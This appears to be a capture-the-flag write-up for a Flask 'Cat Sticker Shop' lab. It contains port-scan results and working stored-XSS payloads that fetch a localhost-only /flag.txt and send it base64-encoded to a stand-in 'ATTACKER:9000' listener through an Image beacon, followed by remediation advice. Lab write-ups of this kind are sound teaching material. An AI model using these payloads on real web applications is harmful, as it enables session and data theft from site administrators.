Overview
A Flask web application with a customer feedback form that reflects submitted content
unsanitized to an admin who browses feedback on the same machine as
the web server. Stored XSS payload fetches /flag.txt via a relative URL
(same-origin), base64-encodes the response, and exfiltrates it to an attacker-controlled
listener via an Image beacon. No CSP headers.
POST /submit_feedback → stored XSS payload
↓
Admin bot renders feedback in local browser (same machine as server)
↓
fetch("/flag.txt") → same-origin, bypasses 401 (localhost access)
↓
new Image().src = "http://ATTACKER:9000/?ok=" + btoa(flag)
↓
Flag: THM{83789a69074f636f64a38879cfcabe8b62305ee6}Port Scan & Web Enumeration
| Port | Service | Version |
|---|---|---|
22/tcp | SSH | OpenSSH 8.2p1 Ubuntu |
8080/tcp | HTTP | Werkzeug/3.0.1 Python/3.8.10 — “Cat Sticker Shop” |
Two endpoints found: / (sticker product page) and /submit_feedback (POST form). Direct access to /flag.txt returns 401 Unauthorized — only requests from 127.0.0.1 are allowed. No CSP headers on any page.
$ curl http://10.114.180.229:8080/flag.txt HTTP 401 Unauthorized
Stored XSS — No Sanitization
The feedback form accepts arbitrary HTML/JavaScript without sanitization. Submitted
content is stored and rendered raw to the shop admin when they review feedback in
their local browser. Since the admin’s browser runs on the same machine
as the web server, any fetch() to a relative path hits localhost.
Attacker Web Server Admin Browser (localhost)
| | |
|-- POST /submit_feedback --> | |
| (XSS payload stored) | |
| |-- render feedback -------> |
| | |-- fetch("/flag.txt")
| |<-- GET /flag.txt (127.0.0.1) (same-origin)
| |--- 200 OK + flag --------> |
|<-- Image beacon exfil -----------------------------------|
Key insight: Using fetch("/flag.txt") (relative URL) instead of
fetch("http://localhost:8080/flag.txt"). The relative fetch stays same-origin
and succeeds; a cross-origin fetch to localhost would be blocked by CORS.
XSS Beacon Test & Flag Exfiltration
First, confirm XSS execution with a beacon test:
POST /submit_feedback
feedback=<script>new Image().src="http://ATTACKER:9000/xss_test"</script>
[HIT] GET /xss_test — XSS confirmedThen submit the flag exfiltration payload:
<script> fetch("/flag.txt") // relative = same-origin .then(r => r.text()) .then(d => new Image().src = "http://ATTACKER:9000/?ok=" + btoa(d)) // base64 exfil .catch(e => new Image().src = "http://ATTACKER:9000/?err=" + btoa(String(e))); </script>
$ curl -X POST http://10.114.180.229:8080/submit_feedback \
--data-urlencode 'feedback=<PAYLOAD>'Listener Callback → Flag
[HIT] /?ok=VEhNezgzNzg5YTY5MDc0ZjYzNmY2NGEzODg3OWNmY2FiZThiNjIzMDVlZTZ9 $ echo "VEhNezgzNzg5YTY5MDc0ZjYzNmY2NGEzODg3OWNmY2FiZThiNjIzMDVlZTZ9" | base64 -d THM{83789a69074f636f64a38879cfcabe8b62305ee6}
Attack Chain
/submit_feedback with JS payload — no sanitizationfetch("/flag.txt") — relative URL bypasses CORS, hits localhostbtoa() + Image beacon → THM{83789a69074f636f64a38879cfcabe8b62305ee6}Vulnerabilities
| Finding | Location | Severity | Impact |
|---|---|---|---|
| Stored XSS (no sanitization) | /submit_feedback | Critical | Arbitrary JS execution in admin’s browser |
| No Content-Security-Policy | All responses | High | No restriction on script execution or outbound requests |
| Admin browses on same machine | Architecture design | High | XSS payload can access localhost-restricted resources |
| IP-based access control only | /flag.txt | Medium | No authentication — relies solely on source IP check |
Takeaways
|e) and sanitization libraries.Content-Security-Policy with strict script-src and connect-src directives blocks inline JS and outbound exfiltration.Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl | XSS payload submission, endpoint probing |
python3 HTTP listener | Capture exfiltrated base64 flag via Image beacon |
sticker_shop_auto.py | Full automated exploit (XSS + listener + decode) |